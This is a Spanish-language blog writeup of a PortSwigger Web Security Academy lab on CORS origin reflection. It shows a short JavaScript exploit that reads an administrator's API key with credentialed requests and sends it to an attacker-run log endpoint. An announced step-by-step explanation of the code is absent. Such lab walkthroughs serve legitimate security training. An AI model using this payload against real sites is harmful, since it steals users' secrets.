CORS vulnerability with basic origin reflection writeup

Descripción

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

You can log in to your own account using the following credentials: wiener:peter

CORS vulnerability with basic origin reflection writeup

Al entrar en el laboratorio encontraremos una tienda online.

Al entrar en ‘My account’ con el usuario ‘wiener’ y la contraseña ‘peter’ veremos que nos devuelve la API Key del usuario que tendremos que obtener del administrador.

Analizando la petición que se realiza, vemos que se hace a ‘/accountDetails’, de donde se obtiene la API Key:

También vemos que la petición tiene ‘Access-Control-Allow-Credentials: true’, por lo que puede ser vulnerable a CORS.

En el navegador, pulsamos en ‘Go to exploit server’ e introducimos el siguiente script:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0a7e00af03c6fbc4806d7bb300bd00b9.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

Vamos a analizar el código paso a paso:

Copiamos la cadena y vamos a Cyberchef, donde decodificaremos de URL el texto para obtener la key:

En mi caso es ‘mt2bbXrpDz9dNuRo8HswXhEjCRZ0M1xa’. Vamos ahora a ‘Submit solution’ y al introducirla completaremos el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *